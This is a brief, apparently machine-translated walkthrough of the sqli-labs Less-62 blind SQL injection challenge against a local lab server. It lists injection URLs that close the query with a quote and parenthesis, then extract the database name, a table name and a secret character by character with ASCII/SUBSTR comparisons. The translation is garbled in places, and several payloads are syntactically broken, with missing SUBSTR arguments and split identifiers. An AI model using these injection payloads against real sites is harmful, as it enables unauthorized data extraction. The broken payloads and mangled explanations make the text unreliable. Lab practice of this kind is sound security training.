Allow 130 attempts, then a blind hole, it seems that the word Fu Chai the solution
Add single quote, page exception, but error is blocked
http://192.168.136.128/sqli-labs-master/Less-62/?id=1 '
Add an annotation, say the name is not only closed with single quotation marks
http://192.168.136.128/sqli-labs-master/Less-62/?id=1 '%23
Add a single parenthesis and the page returns to normal
http://192.168.136.128/sqli-labs-master/Less-62/?id=1 ')%23
To guess the database name
http://192.168.136.128/sqli-labs-master/Less-62/?id=1 ') and ASCII (SUBSTR ((select Database ()),) =98%23
http://192.168.136.128/sqli-labs-master/Less-62/?id=1 ') and ASCII (SUBSTR ((select Database ()),) =99%23
The first character of the database is ascii=99, i.e. ' C '
Table name first character ' W '
http://192.168.136.128/sqli-labs-master/Less-62/?id=1 ') and ASCII (SUBSTR ((SELECT table_name from Information_ Schema.tables where table_schema= ' challenges ')) =87%23
http://192.168.136.128/sqli-labs-master/Less-62/?id=1 ') and ASCII (substr (select secret_1o45 from WOJXNS9PWT), )) =49%23
"Sqli-labs" less62 get-challenge-blind-130 queries Allowed-variation1 (GET Type Challenge blind only allows 130 query changes 1)